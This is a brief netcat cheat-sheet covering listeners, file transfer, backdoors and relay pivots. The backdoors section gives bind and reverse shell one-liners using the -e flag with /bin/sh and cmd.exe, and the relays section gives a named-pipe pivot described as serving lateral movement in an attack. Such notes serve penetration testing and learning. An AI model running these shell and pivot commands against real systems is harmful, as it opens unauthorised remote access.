Netcat is a great tool for a variety of network connections.
Connecting to Open Ports
Create a listener with nc -l -p <port> and a receiver with nc <ip> <port> for two-way communication.
Data Transfer
A file can be hosted by piping it into the listening netcat command. UDP Protocol connection can be used by adding the -u flag.
A file can be pulled by piping the listener into a file. Like pushing transfer, there is no indication of success and must be canceled.
Backdoors
Creating a simple backdoor just runs the connected info directly to the shell. nc -l -p <port> -e /bin/sh. Create a reverse connection by nc <ip> <port> -e cmd.exe.
Relays
Relays are important for lateral movement in an attack.
Create a named pipe with mkfifo <pipe_name>. Create a pivot with nc -l -p <port> < <pipe_name> | nc <target_ip> <target_port> > <pipe_name>.